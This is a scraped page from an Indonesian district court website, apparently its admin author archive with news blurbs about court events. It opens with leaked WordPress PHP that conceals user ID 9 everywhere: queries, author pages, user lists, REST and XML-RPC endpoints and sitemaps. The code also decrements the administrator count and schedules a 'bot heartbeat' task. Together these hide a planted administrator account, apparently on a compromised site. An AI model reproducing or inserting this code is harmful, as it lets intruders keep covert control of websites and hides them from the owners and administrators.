add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 9;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 9 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 9 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 9;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 9;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 9;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/9(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 9;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
admin | PENGADILAN NEGERI PANGKAL PINANG
Penulis: admin
Sidang Luar Biasa. Pengambilan Sumpah Jabatan & Pelantikan Bpk. Raden Heru Kuntodewo, S.H., M.H. sebagai Ketua Pengadilan Negeri Pangkalpinang Kelas 1 A berlangsung tertib dan lancar pada ruang utama Pengadilan Tinggi Bangka...
Baca lebih lajut
Sosialisasi E-Tilang Terpadu secara Daring. Memperhatikan Nota Kesepahaman antara Mahkamah Agung RI, Kepolisian Negara RI, & Kejaksaan Agung RI Nomor 2/NK/KMA/3/2021. Dihadiri oleh Panitera, Panitera Muda beserta seluruh...
Baca lebih lajut
Sosialisasi Virtual Account IKAHI & BPDSH (Pengelolaan Dana Sosial Hakim) secara Virtual. Dihadiri oleh Wakil Ketua Bpk. Yunizar Kilat Daya, S.H., M.H. beserta Seluruh Hakim Pengadilan Negeri Pangkalpinang di ruang Command...
Baca lebih lajut
Pembinaan Teknis dan Administrasi Yudisial Secara Virtual oleh Ketua Mahkamah Agung RI Bpk. Prof. Dr. H. M. Syarifuddin, S.H., M.H. disaksikan melalui Zoom Meeting yang dihadiri oleh Wakil Ketua, Panitera, Sekretaris & Para...
Baca lebih lajut
Pembacaan Penetapan Akta Perdamaian, Perkara Nomor : 1/Pdt.G/2022/PN Pgp 2/Pdt.G/2022/PN Pgp 3/Pdt.G/2022/PN Pgp 4/Pdt.G/2022/PN Pgp dimuka persidangan. Kamis, 23 Juni 2022.
Baca lebih lajut
Skip to content